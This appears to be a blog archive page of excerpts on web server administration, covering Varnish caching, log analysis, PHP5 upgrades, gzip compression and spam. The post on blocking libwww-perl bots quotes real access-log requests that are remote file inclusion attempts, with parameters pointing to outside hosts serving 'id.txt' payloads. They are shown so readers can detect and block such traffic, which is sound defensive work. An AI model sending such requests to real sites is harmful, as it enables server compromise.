Varnish is an open source, state of the art web application accelerator. What it does is make your existing site faster by caching requests so your web server doesn’t have to handle them. This helps because your web server may be a lumbering giant like Apache that is loaded up […]
Who's abusing your website?
I wanted to know what IP addresses were hitting my website. I’d done this before and it only took a moment or two to recreate the following commands. Still, here it is for future reference. grep -v “wp-content” access.log|grep -v wp-includes|cut -f 1 -d ” “|sort|uniq -c|sort -nr|less This code: […]
Keep the libwww-perl bots out
If you look through your server logs you’ll probably notice more than a few requests like these: GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805” GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805” GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805” GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579” If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. […]
Notes when upgrading to PHP5
I upgraded one of my servers to PHP5 this morning. Two things to watch out for: The location of your php.ini may have changed. It’s probably now in /etc/php5/apache2/. You need to copy over any changes from your old one. Update your libraries too such as the mysql client and […]
The real way to improve server performance
If you want to improve server performance, the best way is to move as much of the processing off it and onto the client machine. All those visitors of yours are running souped up AMD and Intel CPUs with their big screens and fat harddrives. No wonder your small little […]
Cannot load mysql extension. Please check your PHP configuration.
A friend recently had a problem configuring a new server. He installed PHP, Apache, MySQL and phpMyAdmin but when he launched it he got the following error: phpMyAdmin – Error Cannot load mysql extension. Please check your PHP configuration. If you’ve installed all of the above more than once you’ll […]
Gzip Compression or No?
mod_gzip, zlib.output_compression or whatever way you compress your web pages is a great way of reducing your network traffic costs but comes at the cost of increased CPU usage. Despite what you might think, it can be more expensive to send data over the network, especially to slow clients than […]
Stopping the spam after moving house
A few weeks ago I moved this blog to this new location but left a 301 redirect on all URLs on the old site. That has worked great to direct traffic here but unfortunately it has also redirected all the spam attempts on my old site to here too. Thankfully […]